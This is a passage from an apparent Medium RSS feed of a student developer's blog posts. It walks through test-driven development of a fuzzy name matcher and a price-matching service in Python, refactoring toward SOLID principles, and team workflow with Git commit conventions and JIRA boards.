Inputs</strong></p><p>When the input normalizes into an empty string (because of strange characters or excessive whitespace), the matcher should gracefully return None. We don’t need no empty matches here.</p><pre>def test_get_multiple_name_matches_empty_normalized_input(self):<br>    matches = self.matcher._get_multiple_name_matches(&quot;!@#$%&quot;, 5)<br>    self.assertEqual(matches, [])<br>    matches = self.matcher._get_multiple_name_matches(&quot;   &quot;, 5)<br>    self.assertEqual(matches, [])</pre><h4>Fuzzing Around: How I Made the Tests Pass 🧩✨</h4><p>Alright, now that our tests are all done and dusted, it’s time for the fun part, building the feature itself! We’ve got all these tests proving that the matcher works under various conditions, but now we need to make sure it actually <strong>does </strong>the thing we want it to do…</p><pre>from __future__ import annotations<br>from dataclasses import dataclass<br>from typing import List, Protocol, Optional<br>import difflib<br>from automatic_job_matching.utils.text_normalizer import normalize_text<br>@dataclass<br>class AhsRow:<br>    id: int<br>    code: str<br>    name: str<br>class AhsRepository(Protocol):<br>    def by_code_like(self, code: str) -&gt; List[AhsRow]: ...<br>    def by_name_candidates(self, head_token: str) -&gt; List[AhsRow]: ...<br>    def get_all_ahs(self) -&gt; List[AhsRow]: ...<br>def _norm_name(s: str) -&gt; str:<br>    return normalize_text(s or &quot;&quot;)<br>class FuzzyMatcher:<br>    def __init__(self, repo: AhsRepository, min_similarity: float = 0.6):<br>        self.repo = repo<br>        self.min_similarity = max(0.0, min(1.0, min_similarity))<br>    def match(self, description: str) -&gt; Optional[dict]:<br>        if not description:<br>            return None<br>        raw = description.strip()<br>        <br>        name_match = self._fuzzy_match_name(raw)<br>        return name_match<br>    def _fuzzy_match_name(self, raw_input: str) -&gt; Optional[dict]:<br>        ndesc = _norm_name(raw_input)<br>        if not ndesc:<br>            return None<br>        head = ndesc.split(&quot; &quot;, 1)[0]<br>        candidates = self.repo.by_name_candidates(head)<br>        <br>        if not candidates:<br>            candidates = self.repo.get_all_ahs()<br>        best_match = None<br>        best_similarity = 0.0<br>        for cand in candidates:<br>            cand_name = _norm_name(cand.name)<br>            if not cand_name:<br>                continue<br>                <br>            ratio = difflib.SequenceMatcher(None, ndesc, cand_name).ratio()<br>            <br>            partial_score = self._calculate_partial_similarity(ndesc, cand_name)<br>            similarity = max(ratio, partial_score)<br>            <br>            if similarity &gt;= self.min_similarity and similarity &gt; best_similarity:<br>                best_similarity = similarity<br>                best_match = cand<br>        if best_match:<br>            return {<br>                &quot;source&quot;: &quot;ahs&quot;,<br>                &quot;id&quot;: best_match.id,<br>                &quot;code&quot;: best_match.code,<br>                &quot;name&quot;: best_match.name,<br>                &quot;matched_on&quot;: &quot;name&quot;,<br>            }<br>        return None<br>    def _calculate_partial_similarity(self, text1: str, text2: str) -&gt; float:<br>        if not text1 or not text2:<br>            return 0.0<br>            <br>        words1 = set(text1.split())<br>        words2 = set(text2.split())<br>        <br>        if not words1 or not words2:<br>            return 0.0<br>        <br>        intersection = words1.intersection(words2)<br>        union = words1.union(words2)<br>        jaccard = len(intersection) / len(union) if union else 0.0<br>        <br>        partial_matches = 0<br>        total_comparisons = 0<br>        <br>        for w1 in words1:<br>            for w2 in words2:<br>                if len(w1) &gt;= 3 and len(w2) &gt;= 3:  <br>                    total_comparisons += 1<br>                    if w1 in w2 or w2 in w1:<br>                        partial_matches += 1<br>        <br>        partial_score = partial_matches / total_comparisons if total_comparisons &gt; 0 else 0.0<br>        <br>        return max(jaccard, partial_score * 0.8)<br>    def find_multiple_matches(self, description: str, limit: int = 5) -&gt; List[dict]:<br>        &quot;&quot;&quot;Returns multiple fuzzy name matches sorted by internal similarity&quot;&quot;&quot;<br>        if not description or limit &lt;= 0:<br>            return []<br>        raw = description.strip()<br>        matches = self._get_multiple_name_matches(raw, limit)<br>        matches.sort(key=lambda x: x.get(&quot;_internal_score&quot;, 0), reverse=True)<br>        <br>        for match in matches:<br>            match.pop(&quot;_internal_score&quot;, None)<br>        <br>        return matches[:limit]<br>    def _get_multiple_name_matches(self, raw_input: str, limit: int) -&gt; List[dict]:<br>        &quot;&quot;&quot;Get multiple fuzzy name matches&quot;&quot;&quot;<br>        ndesc = _norm_name(raw_input)<br>        if not ndesc:<br>            return []<br>        head = ndesc.split(&quot; &quot;, 1)[0]<br>        candidates = self.repo.by_name_candidates(head)<br>        <br>        if not candidates:<br>            candidates = self.repo.get_all_ahs()<br>        matches = []<br>        for cand in candidates:<br>            cand_name = _norm_name(cand.name)<br>            if not cand_name:<br>                continue<br>                <br>            ratio = difflib.SequenceMatcher(None, ndesc, cand_name).ratio()<br>            partial_score = self._calculate_partial_similarity(ndesc, cand_name)<br>            similarity = max(ratio, partial_score)<br>            <br>            if similarity &gt;= self.min_similarity:<br>                matches.append({<br>                    &quot;source&quot;: &quot;ahs&quot;,<br>                    &quot;id&quot;: cand.id,<br>                    &quot;code&quot;: cand.code,<br>                    &quot;name&quot;: cand.name,<br>                    &quot;matched_on&quot;: &quot;name&quot;,<br>                    &quot;_internal_score&quot;: similarity,  <br>                })<br>        matches.sort(key=lambda x: x[&quot;_internal_score&quot;], reverse=True)<br>        return matches[:limit]</pre><h4>Moment of Truth… 😬</h4><p>Alright, we’ve written the tests, we’ve implemented the feature, but now comes the real <strong>real</strong> test, did we cover everything? Is our fuzzy matcher fully covered, or did we miss some edge cases? Time to fire up the coverage report and find out!</p><p>Let us run the magic command and find out the results 🔮</p><pre>coverage report -m</pre><p>Output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/1*1S2b13DOzpYuK8Lo34vp4Q.png" /><figcaption>My victory trophy for this week 🏅</figcaption></figure><p>THERE WE GO! a full 100% coverage of our fuzzy matcher code! 🥳</p><h4>Gotta say… It’s Fuzz-tastic! 4️⃣</h4><p>So, there we have it! After a few weeks of writing tests and building this fuzzy matcher, we’ve got ourselves a feature that’s not just reliable but solid. At first, TDD might have seemed like a bit of a hassle, but once you start seeing how your tests save you from those little (and big) bugs, it’s hard to imagine working any other way.</p><p>We covered all the basics, from exact matches, partial matches, word order mishaps, and even the “bad paths” (again, never trust user inputs). Each test we wrote pushed us to think about every corner case, helping us build a feature that can handle pretty much anything thrown its way.</p><p>And with a 100% coverage, we can rest easy knowing that the feature is solid (tho not bug free of course 🐞). It’s like having a security blanket for your code. If something breaks, we’ll know about it before anyone else does.</p><p>TDD isn’t just a technique, it’s a mindset. And now that we’ve seen the benefits first-hand, it’s safe to say I’m all in. The tests are done, the feature’s live, and I’m feeling good about it. Time to move on to the next one feature! starting with their tests…</p><h3>Chapter 3: The Price is (Automatically Matched) Right 💸</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*9L4ukFADlDxXHK5d.jpg" /><figcaption>Maybe I can sign my feature up to participate and win me some cool prizes 👀</figcaption></figure><p>Another week another task another round of TDD,so as usual, let’s jump right into it. This time around, we’re dealing with our <strong>third feature, </strong>automatic price matching!<br>Our goal: to automatically retrieve the unit price of a RAB entry based on its AHS code.<br>Sounds simple, but as always, edge cases and data inconsistencies love to make things “fun.”</p><p>Still, with the good ol’ Red → Green → Refactor cycle, we’re keeping things under control.</p><h4>Red Light First: The Tests 🔴</h4><p>Before diving into the logic, I started by imagining what could go wrong (and right).<br>The price matcher should:</p><ul><li>Automatically find the right price when a valid code is given.</li><li>Accept manual overrides (because humans know best sometimes 😎).</li><li>Handle missing, invalid, or empty codes gracefully.</li></ul><p>With that in mind, we start where all good TDD cycles begin, the T.</p><h4>Happy Path 😸</h4><p>These tests ensure the system works perfectly when it’s supposed to.<br> The retriever and service both return correct prices, calculate totals, and mark everything as matched.</p><pre>def test_exact_code_returns_price(self):<br>    price = self.retriever.get_price_by_job_code(&quot;AT.01.001&quot;)<br>    self.assertEqual(price, Decimal(&quot;250000.00&quot;))<br><br>def test_dash_dot_and_case_insensitive_variants(self):<br>    price_dash = self.retriever.get_price_by_job_code(&quot;AT-01-001&quot;)<br>    price_lower = self.retriever.get_price_by_job_code(&quot;  bt.02.010  &quot;)<br>    self.assertEqual(price_dash, Decimal(&quot;250000.00&quot;))<br>    self.assertEqual(price_lower, Decimal(&quot;12500&quot;))<br><br>def test_match_one_returns_matched_entry(self):<br>    payload = {&quot;code&quot;: &quot;BT.02.010&quot;, &quot;name&quot;: &quot;Excavation Work&quot;, &quot;volume&quot;: Decimal(&quot;3&quot;), &quot;unit_price&quot;: None}<br>    result = self.svc.match_one(payload)<br>    self.assertEqual(result[&quot;unit_price&quot;], Decimal(&quot;12500&quot;))<br>    self.assertEqual(result[&quot;match_status&quot;], &quot;Matched&quot;)<br>    self.assertFalse(result[&quot;is_editable&quot;])<br><br>def test_manual_input_overrides_price(self):<br>    payload = {&quot;code&quot;: &quot;AT.01.001&quot;, &quot;name&quot;: &quot;Concrete&quot;, &quot;volume&quot;: Decimal(&quot;2&quot;), &quot;unit_price&quot;: Decimal(&quot;300000&quot;)}<br>    result = self.svc.match_one(payload)<br>    self.assertEqual(result[&quot;match_status&quot;], &quot;Overridden&quot;)<br>    self.assertEqual(result[&quot;total_cost&quot;], Decimal(&quot;600000&quot;))</pre><p>Everything passes perfectly here, valid codes fetch correct prices, totals calculate properly, and manual inputs take priority.<br> This is the dream scenario.</p><h4>Unhappy Path 😿</h4><p>Not all inputs are perfect, though. Some AHS codes don’t exist, some are blank, and some might just be invalid entirely.<br> These tests make sure the system stays calm and consistent when things go wrong.</p><pre>def test_unknown_code_returns_none(self):<br>    self.assertIsNone(self.retriever.get_price_by_job_code(&quot;ZZ.99.999&quot;))<br><br>def test_invalid_code_needs_manual_input(self):<br>    payload = {&quot;code&quot;: &quot;ZZ.99.999&quot;, &quot;name&quot;: &quot;Unknown Work&quot;, &quot;volume&quot;: Decimal(&quot;1&quot;), &quot;unit_price&quot;: None}<br>    result = self.svc.match_one(payload)<br>    self.assertEqual(result[&quot;match_status&quot;], &quot;Needs Manual Input&quot;)<br><br>def test_match_batch_handles_invalid_payloads(self):<br>    invalid_item = {&quot;code&quot;: &quot;&quot;, &quot;name&quot;: &quot;Broken Entry&quot;, &quot;volume&quot;: None, &quot;unit_price&quot;: None}<br>    with patch(&quot;automatic_price_matching.service.validate_ahsp_payload&quot;, side_effect=ValidationError({&quot;code&quot;: [&quot;required&quot;]})):<br>        results = self.svc.match_batch([invalid_item])<br>    self.assertIn(&quot;error&quot;, results[0])</pre><p>The matcher doesn’t crash or throw errors — it simply returns &quot;Needs Manual Input&quot; or an error dictionary.<br> Calm under pressure. 🧘‍♂️</p><h4>Edge Cases 🐯</h4><p>And of course, we can’t forget the “what if” situations, like empty lists, whitespace codes, or a mix of valid and invalid entries.</p><pre>def test_empty_code_returns_none(self):<br>    price = self.retriever.get_price_by_job_code(&quot;   &quot;)<br>    self.assertIsNone(price)<br><br>def test_match_batch_mixed_inputs(self):<br>    valid1 = {&quot;code&quot;: &quot;BT.02.010&quot;, &quot;name&quot;: &quot;A&quot;, &quot;volume&quot;: Decimal(&quot;2&quot;), &quot;unit_price&quot;: None}<br>    err = ValidationError({&quot;code&quot;: [&quot;required&quot;]})<br>    valid3 = {&quot;code&quot;: &quot;&quot;, &quot;name&quot;: &quot;C&quot;, &quot;volume&quot;: None, &quot;unit_price&quot;: None}<br><br>    side_effects = [valid1, err, valid3]<br><br>    with patch(&quot;automatic_price_matching.service.validate_ahsp_payload&quot;, side_effect=side_effects):<br>        results = self.svc.match_batch([{}, {}, {}])<br><br>    self.assertEqual(len(results), 3)<br>    self.assertEqual(results[0][&quot;unit_price&quot;], Decimal(&quot;12500&quot;))<br>    self.assertIn(&quot;error&quot;, results[1])<br>    self.assertEqual(results[2][&quot;match_status&quot;], &quot;Needs Manual Input&quot;)</pre><p>This last one was especially satisfying, a full batch of mixed inputs handled without a single failure.<br> Every payload gets processed, and the matcher gracefully skips invalid ones.</p><p>By the end of the red phase, I had <strong>dozens of failing tests</strong>… exactly as planned 😎.</p><h4><strong>Green Means Go! 🟢</strong></h4><p>Now for the fun part, making those tests pass!<br> Below is the full implementation that finally turned all those red bars into a nice wall of green 💚.</p><pre>from decimal import Decimal<br>from django.core.exceptions import ValidationError<br>from .validators import validate_ahsp_payload<br>from .price_retrieval import AhspPriceRetriever<br>from .total_cost import TotalCostCalculator<br>from .fallback_validator import apply_fallback<br><br><br>class AutomaticPriceMatchingService:<br>    def __init__(self, price_retriever: AhspPriceRetriever):<br>        self.retriever = price_retriever<br><br>    def match_one(self, payload: dict):<br>        &quot;&quot;&quot;Match a single RAB entry to its unit price.&quot;&quot;&quot;<br>        cleaned = validate_ahsp_payload(payload)<br><br>        # Case 1: Manual input provided<br>        if cleaned[&quot;unit_price&quot;] is not None:<br>            cleaned[&quot;total_cost&quot;] = TotalCostCalculator.calculate(<br>                cleaned[&quot;volume&quot;], cleaned[&quot;unit_price&quot;]<br>            )<br>            cleaned[&quot;match_status&quot;] = &quot;Overridden&quot;<br>            cleaned[&quot;is_editable&quot;] = True<br>            return cleaned<br><br>        # Case 2: Auto fetch price<br>        price = self.retriever.get_price_by_job_code(cleaned[&quot;code&quot;])<br>        if price is not None:<br>            cleaned[&quot;unit_price&quot;] = price<br>            cleaned[&quot;total_cost&quot;] = TotalCostCalculator.calculate(<br>                cleaned[&quot;volume&quot;], price<br>            )<br>            cleaned[&quot;match_status&quot;] = &quot;Matched&quot;<br>            cleaned[&quot;is_editable&quot;] = False<br>            return cleaned<br><br>        # Case 3: Fallback for missing or invalid code<br>        cleaned.update(apply_fallback(cleaned.get(&quot;name&quot;)))<br>        return cleaned<br><br>    def match_batch(self, items: list[dict]):<br>        &quot;&quot;&quot;Match multiple entries and collect results.&quot;&quot;&quot;<br>        results = []<br>        if not items:<br>            return results<br><br>        for item in items:<br>            try:<br>                matched = self.match_one(item)<br>                results.append(matched)<br>            except ValidationError as err:<br>                results.append({&quot;error&quot;: err.message_dict})<br>            except Exception as err:<br>                results.append({&quot;error&quot;: str(err)})<br><br>        return results</pre><p>The flow is simple:</p><ol><li>Validate the payload.</li><li>If the user already has a price → trust them, just recalc totals.</li><li>Otherwise, retrieve from AHSP.</li><li>If nothing found → fallback gracefully (“Needs Manual Input”).</li></ol><p>No drama, no crashes, just smooth matching.</p><p>And yes, there’s a batch version too (match_batch) that loops through multiple RAB entries at once, catching validation errors per item so one bad row doesn’t ruin the whole list.</p><h4>Final Thoughts 💭</h4><p>Now, whenever a user selects an AHS code, the app instantly fills in the price, recalculates totals, and even handles manual overrides.<br>Fast, reliable, and bug-free (for now…).</p><p>By thinking through all the possible paths, good, bad, and the weird, before writing the actual code, the final implementation came out smoother and cleaner than ever.<br>No last-minute surprises, no guesswork, just confident development backed by solid tests.</p><p>And that’s how we built the <strong>Automatic Price Matchmaker</strong>, a small step for a feature, a giant leap for RAB-kind. 💰</p><h3><strong>Chapter 4: A Testy Relationship 💔➡️💚</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/0*6-OHyTsPyk4_tj9e" /><figcaption>Breaking free after passing tests</figcaption></figure><p>When I first started doing TDD, I won’t lie, I was completely lost.<br>Writing tests <strong>before</strong> writing the actual code felt like trying to bake a cake by reading reviews of it first.<br>I’d stare at my empty test file thinking, <em>“How am I supposed to test something that doesn’t even exist yet?”</em></p><p>But after a few failed runs (and a lot of confused debugging), something started to click.<br>Writing a test first wasn’t about guessing what the code would do, it was about writing down what I <strong>wanted</strong> it to do.<br>Each test became like a wishlist of my feature’s behavior:</p><blockquote><em>“Dear future self, when you make this feature, please make it work like this.”</em></blockquote><p>Once I started seeing tests as a way to define expectations, the whole thing made sense.<br>Instead of coding blindly, I was coding with direction, building the feature around what success <em>should</em> look like.</p><p>Sure, there were still days where my “Red” stage lasted longer than I’d like (and the occasional rage-quits I had when all tests broke at once 😭), but the payoff was huge.<br>By the time I got to the “Green” and “Refactor” steps, I wasn’t just making code that worked, I was making code I could trust.</p><p>Now, whenever I start a new feature, the process feels natural:<br>“What do I expect this to do?” → write the test.<br>“How do I make it happen?” → write the code.<br>And just like that, I’ve gone from dreading the red to loving the green.</p><p>TDD might’ve started as my biggest source of confusion, but it ended up becoming my best debugging partner.<br>And when that final test run ends with a full wall of green, there’s no better feeling. 💚</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=019462b3f7b2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SOLID, Liquid, Gas⛽: The Stages of My Codebase.]]></title>
            <link>https://medium.com/@fadhlilbaqimuhammadghaza/solid-liquid-gas-the-stages-of-my-codebase-5c2648bc9bc5?source=rss-4aafbe34b665------2</link>
            <guid isPermaLink="false">https://medium.com/p/5c2648bc9bc5</guid>
            <dc:creator><![CDATA[Ghaza Fadhlilbaqi]]></dc:creator>
            <pubDate>Mon, 29 Sep 2025 08:57:18 GMT</pubDate>
            <atom:updated>2025-09-29T15:24:16.494Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/635/1*nYxRXvbvf05Ukm5YZW0NqQ.jpeg" /><figcaption>Fun fact: Solids don’t evaporate… Unlike the countless hours I wasted on bad code before SOLID</figcaption></figure><p>You know how every codebase goes through phases? One minute it’s all neat and <strong>SOLID</strong>, the next it’s a <strong>liquid</strong> mess of refactorings, and then <strong>*💥Boom 💥*</strong> it’s in the <strong>gas</strong> phase, where nothing seems to stick. Yeah, that’s been my journey with the SOLID principles. I’d love to say I nailed it from day one, but let’s be real, it’s been a work in progress. So, here’s a look at how my code evolved through the stages, from messy liquid to something a bit more, well… solid. So let’s begin my journey to reach the SOLID state.</p><h4><strong>SRP: “One Class to Rule Them All” 💍</strong></h4><h4><strong>Before:</strong></h4><p>The old code was a bit like a “<strong>one ring to rule them all”</strong> situation. The <strong>MatchingProcessor </strong>class was trying to do everything 😵‍💫, fetch candidates, calculate similarity, and determine the best match. It was doing <em>too much</em> and was starting to get overloaded.</p><pre>class MatchingProcessor:<br>    def __init__(self, repository: AhsRepository):<br>        self.repository = repository<br><br>    def find_best_match(self, query: str):<br>        # Retrieves candidates, calculates similarity, and picks the best match all in one<br>        candidates = self.repository.by_name_candidates(query)<br>        best_match = None<br>        best_score = 0.0<br>        <br>        # Hardcoded similarity calculation<br>        for candidate in candidates:<br>            score = difflib.SequenceMatcher(None, query, candidate.name).ratio()<br>            if score &gt; best_score:<br>                best_score = score<br>                best_match = candidate<br>        return best_match</pre><h4>After:</h4><p>Now we’ve split the responsibilities! Each class has a clear, singular focus. no more overworking (like I am 🫠). <strong>SimilarityCalculator</strong> just calculates similarities, while <strong>MatchingProcessor</strong> handles the logic of finding the best match.</p><pre># SimilarityCalculator handles only similarity calculation<br>class SimilarityCalculator:<br>    @staticmethod<br>    def calculate_similarity(text1: str, text2: str) -&gt; float:<br>        return difflib.SequenceMatcher(None, text1, text2).ratio()<br><br># MatchingProcessor handles the match-making<br>class MatchingProcessor:<br>    def __init__(self, similarity_calculator: SimilarityCalculator, repository: AhsRepository):<br>        self.similarity_calculator = similarity_calculator<br>        self.repository = repository<br><br>    def find_best_match(self, query: str):<br>        candidates = self.repository.by_name_candidates(query)<br>        best_match = None<br>        best_score = 0.0<br><br>        for candidate in candidates:<br>            score = self.similarity_calculator.calculate_similarity(query, candidate.name)<br>            if score &gt; best_score:<br>                best_score = score<br>                best_match = candidate<br>        return best_match</pre><h4><strong>Why the Change? 🤔</strong></h4><p>Now each class is like a Hobbit on its own mission, only doing one job. This is way easier to maintain, test, and extend! 🧝</p><h4><strong>2. OCP: “If It Ain’t Broke, </strong>Don’t Fix It<strong>” 🔨</strong></h4><h4><strong>Before:</strong></h4><p>Before, modifying how similarity was calculated meant directly changing the <strong>MatchingProcessor</strong> class, which isn’t flexible. If I wanted a new calculation method, I had to rewrite the class. Not ideal.</p><pre>class MatchingProcessor:<br>    def __init__(self, repository: AhsRepository):<br>        self.repository = repository<br><br>    def find_best_match(self, query: str):<br>        candidates = self.repository.by_name_candidates(query)<br>        best_match = None<br>        best_score = 0.0<br><br>        # Hardcoded similarity calculation<br>        for candidate in candidates:<br>            score = difflib.SequenceMatcher(None, query, candidate.name).ratio()<br>            if score &gt; best_score:<br>                best_score = score<br>                best_match = candidate<br>        return best_match</pre><h4><strong>After:</strong></h4><p>Now, with dependency injection, you can easily swap in different similarity calculation methods without touching the MatchingProcessor. No modification required, just extension!</p><pre># SimilarityCalculator is injected to allow flexibility<br>class MatchingProcessor:<br>    def __init__(self, similarity_calculator: SimilarityCalculator, repository: AhsRepository):<br>        self.similarity_calculator = similarity_calculator<br>        self.repository = repository<br><br>    def find_best_match(self, query: str):<br>        candidates = self.repository.by_name_candidates(query)<br>        best_match = None<br>        best_score = 0.0<br><br>        for candidate in candidates:<br>            score = self.similarity_calculator.calculate_similarity(query, candidate.name)<br>            if score &gt; best_score:<br>                best_score = score<br>                best_match = candidate<br>        return best_match</pre><h4><strong>Why the Change? 🤔</strong></h4><p>This keeps things simple and flexible, new similarity algorithms can be added without modifying the core <strong>MatchingProcessor</strong>. Just swap out the <strong>SimilarityCalculator</strong> and we’re good to go!</p><h4>3. DIP: “Keep Your Friends Close, But Your Dependencies Closer” 🫂</h4><h4><strong>Before:</strong></h4><p>FuzzyMatcher was tightly coupled to its dependencies. It created SimilarityCalculator and ConfidenceScorer itself. This meant it couldn’t be easily tested or extended…</p><pre>class FuzzyMatcher:<br>    def __init__(self):<br>        self.similarity_calculator = SimilarityCalculator()<br>        self.confidence_scorer = FuzzyConfidenceScorer()</pre><h4>After:</h4><p>Now <strong>FuzzyMatcher</strong> doesn’t create its own dependencies. Instead, it receives them through its constructor. This makes the class more flexible, easier to test, and easier to extend.</p><pre>class FuzzyMatcher:<br>    def __init__(self, similarity_calculator: SimilarityCalculator, confidence_scorer: ConfidenceScorer):<br>        self.similarity_calculator = similarity_calculator<br>        self.confidence_scorer = confidence_scorer</pre><h4>The Final State of Matter: Perfection 👌</h4><p>In the end, refactoring with the <strong>SOLID principles</strong> was like turning a messy rock into a polished gem, everything’s cleaner, easier to manage, and just works better. No more clunky, brittle code that falls apart under pressure.</p><p>By sticking to these principles, I’ve made the code more flexible, extendable, and ready for the future. So, yeah, it’s not just <strong>solid</strong> it’s got some liquid flow to it too. Now my code’s got that perfect balance: strong, but fluid enough to adapt as things change.</p><p>And that’s the real win.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5c2648bc9bc5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Commit Hard, Branch Out, JIRA-fying the Team: Teamwork with Version Control and Project Management…]]></title>
            <link>https://medium.com/@fadhlilbaqimuhammadghaza/commit-hard-branch-out-teamwork-with-version-control-2545f05458d3?source=rss-4aafbe34b665------2</link>
            <guid isPermaLink="false">https://medium.com/p/2545f05458d3</guid>
            <dc:creator><![CDATA[Ghaza Fadhlilbaqi]]></dc:creator>
            <pubDate>Wed, 24 Sep 2025 16:48:14 GMT</pubDate>
            <atom:updated>2025-10-13T09:33:20.405Z</atom:updated>
            <content:encoded><![CDATA[<h3>Commit Hard, Branch Out, JIRA-fying the Team: Teamwork with Version Control and Project Management Tools🎮</h3><h3>Chapter 1: This is Git-ing out of Control 😵‍💫</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/761/1*0b2e_G2bRyBxGTOGChHNZw.gif" /><figcaption>Navigating the maze of life (git merges)</figcaption></figure><p>When I first heard of Git, the idea of collaborating on code sounded amazing. I imagined coding alongside friends, adding lines simultaneously, and never stepping on each other’s toes. Reality? A little messier 🤒. Without structure, overlapping changes and missing context quickly turned teamwork into chaos. That’s where merge requests and commit messages became lifesavers.</p><h4>Commit Me Maybe 📞</h4><p>Commit messages are like a diary for both the code and to our poor teammates who will spend an hour or two looking at the commit history of our codebase (sorry 🙃). Early on, my commit messages were somewhat vague, such classics include: “fixed stuff” and “updated code.” That made it hard for anyone, including me, to understand why changes were made. When I first learnt about the TDD commit convention, I realized that commit messages had more importance to them.</p><p>🔴 [RED] Added failing tests for fuzzy matching services</p><p>🟢 [GREEN] Implemented fuzzy_matcher service &amp;&amp; updated ahs_repo to include get all ahs</p><p>⚙️ [REFACTOR] Implemented SOLID principles to Fuzzy Matching Service</p><p>This approach made life easier for the team. Anyone reading the history could immediately see what was done and why. Refactoring or adding features was predictable because the commit history mirrored the development logic. The team could move faster and safer without stepping on each other’s changes.</p><h4>Who You Gonna Call? Mergebusters! 👻</h4><p>Even with merge requests and good commit messages, teamwork can still go sideways without discipline. Common problems include unclear Merge Request titles or commit messages, ignoring reviews, or accidentally overwriting someone else’s work (which has happened more than I’d like 💔).</p><p>Branch protection rules and disciplined use of Merge Requests and commits act like a safety net. Merge requests are checkpoints, commit messages are breadcrumbs, and the branch lock makes sure at least two eyes have looked at the code before it joins the main branch. With these in place, the team stays in sync and avoids unnecessary conflicts.</p><h4>Git Up and Go! 🏇</h4><p>Using merge requests, following commit message conventions, and branch protection rules isn’t just about preventing mistakes. It changes the way we think about working together. We start thinking ahead, communicate clearly, and keep our teammates in the loop.</p><p>For me, this turned messy and potentially world ending (by world, I meant my grades and sanity) group coding into something smooth and predictable. Teamwork isn’t just about typing faster, it’s about keeping everyone aligned, making work visible, and avoiding unnecessary headaches 🔥.</p><h3>Chapter 2: JIRA(ive) Me Crazy 🚗</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/1*EO5zH8GJ2Oxu1o5uZzX8Lw.jpeg" /><figcaption>Managing codebase without managing the team behind the codebase 🫠</figcaption></figure><p>Managing codebases is one thing, managing people who interact with the codebase is another story… Sure, it’s easy to focus on the code, but what happens when you have multiple people, multiple tasks, and multiple features being developed? Chaos. Total chaos.</p><p>What we needed was something to help us <strong>organize</strong>, <strong>prioritize</strong>, and <strong>track</strong> tasks while allowing us to easily see the progress of every team member. Allow me to introduce<strong> JIRA</strong>, our trusty sidekick that’s been saving us from a whirlwind of confusion. 😎</p><h4>The Backlog Strikes Back 📚</h4><p>When we kicked off our JIRA journey, the first thing we had to do was set up our Scrum board. This gave us the structure we needed to keep track of everything, from user stories to tasks. JIRA automatically gave us two main areas:</p><p><strong>Product Backlog 📑:</strong></p><p>Think of this as our idea factory, where every new feature or improvement gets added. This is where we toss in anything we might want to work on in the future. It’s like tossing all your ideas into a big bucket and then picking out the most awesome ones to work on. 🧠✨</p><p><strong>Sprint Board 🏃:</strong></p><p>The action zone! This is where the magic happens — the tasks that are in progress, up for review, or done. It’s like the battlefield where we watch our ideas transform into reality, one task at a time. ⚔️</p><p>We teamed up with our Product Owner to craft clear user stories. The classic format we use is:<br>“As a [role], I want [feature] so that [benefit]”. It’s simple, effective, and helps keep everyone on the same page. The goal was to make the backlog feel less like a chaotic junk drawer and more like a well-organized tool chest. 🔧</p><h4>Sprinting Into The Future 👟</h4><p>Once the backlog was organized, it was time to go on our first Sprint. JIRA made it easy to plan:</p><p><strong>Selecting Stories📖:</strong></p><p>We grabbed tasks from the backlog and broke them down into sub tasks. It felt like setting up our mission objectives.</p><p><strong>Sprint Goals</strong>🎯<strong>:</strong></p><p>We defined our goal, then assigned tasks to team members based on priority. Like assembling a team for a heist, everyone has their role to play.</p><h4><strong>The Stand-Up Saga 🧍🧍‍♂️🧍‍♀️</strong></h4><p>Daily stand-ups used to feel like a bad reality TV show: lots of talking, no clear direction. But once we brought JIRA into the picture, our daily check-ins became more like a mission briefing:</p><p><strong>To Do:</strong> Tasks waiting for their turn in the spotlight.</p><p><strong>In Progress:</strong> Stories in the trenches, being actively worked on.</p><p><strong>In Review: </strong>Tasks in the hands of our code reviewers.</p><p><strong>Done: </strong>The sweet victory, when tasks are completed and tested.</p><p>Instead of hearing long winded updates, we just glance at the board. If something’s stuck in In Progress for too long, we know it’s time for some intervention.</p><h4>We’re in the Endgame Now🏁</h4><p>At the end of each sprint, we run a review to ensure everything is on track, and JIRA becomes our mission control center:</p><p><strong>Demo</strong> completed tasks directly from the “Done” column (like a victory parade after a successful mission).</p><p><strong>Collect feedback</strong> from team members and stakeholders.</p><p><strong>Adjust the backlog</strong> for the next sprint, based on the lessons learned.</p><p>This created a feedback loop , like a well-oiled machine, each sprint is a learning experience that drives improvements.</p><h4>JIRA-mazing Results 🏆</h4><p>From organizing tasks to tracking progress, <strong>JIRA</strong> has brought much-needed clarity to our development process. It’s more than just a tool, it’s our <strong>roadmap</strong>, helping us stay on course and deliver better results, faster. Without it? We’d still be trying to find our way in the fog. With it? We’re a lean, mean, agile machine.</p><h3>Chapter 3: Commit to Progress: How We Git Things Done ✅</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/0*-eVlpYLrZFCn5obc.jpg" /><figcaption>If only IRL teamwork seems like those college brochures images</figcaption></figure><p>In our group, we structured our workflow using these tools. For Git, we followed the RED-GREEN-REFACTOR convention for commit messages, which helped us keep commits meaningful and consistent with the Test-Driven Development (TDD) process. For JIRA, we used four main boards,</p><ul><li>To Do,</li><li>In Progress</li><li>In Review</li><li>Done.</li></ul><p>On every stand-up daily meeting, each team member could select a task from the To Do board and move it to In Progress once they started working on it. After finishing their implementation, they would move the task to In Review, where the QA team checked for any issues. Once everything was verified, the QA would approve the merge and mark it as Done.</p><p>Although most of the time each member selects a new task during the daily meet, if they have finished their task way before it, they can also still select new task, to ensure that the project keeps on going without any stops.</p><p>This system gave us flexibility in choosing tasks while maintaining accountability and visibility. It also helped us stay aligned with Agile principles, making sure that each task passed through clear stages before completion. Overall, these practices improved our coordination and ensured a smooth development flow.</p><p>Although we have used this pretty structured system, there are some things to be improved on, like last sprint, we just had everything placed on “in review” until the end of the sprint, where everything then was placed in done, so the burndown chart only looked like we finished everything on one day. Another issue is that last sprint is that we never properly defined our <strong>Definition of Done (DoD)</strong>, which led to confusion about when a task was really complete. Without it, we didn’t have a clear goal of what the finished work should look like beyond just “it works.” Having a DoD would’ve made the end of each task more 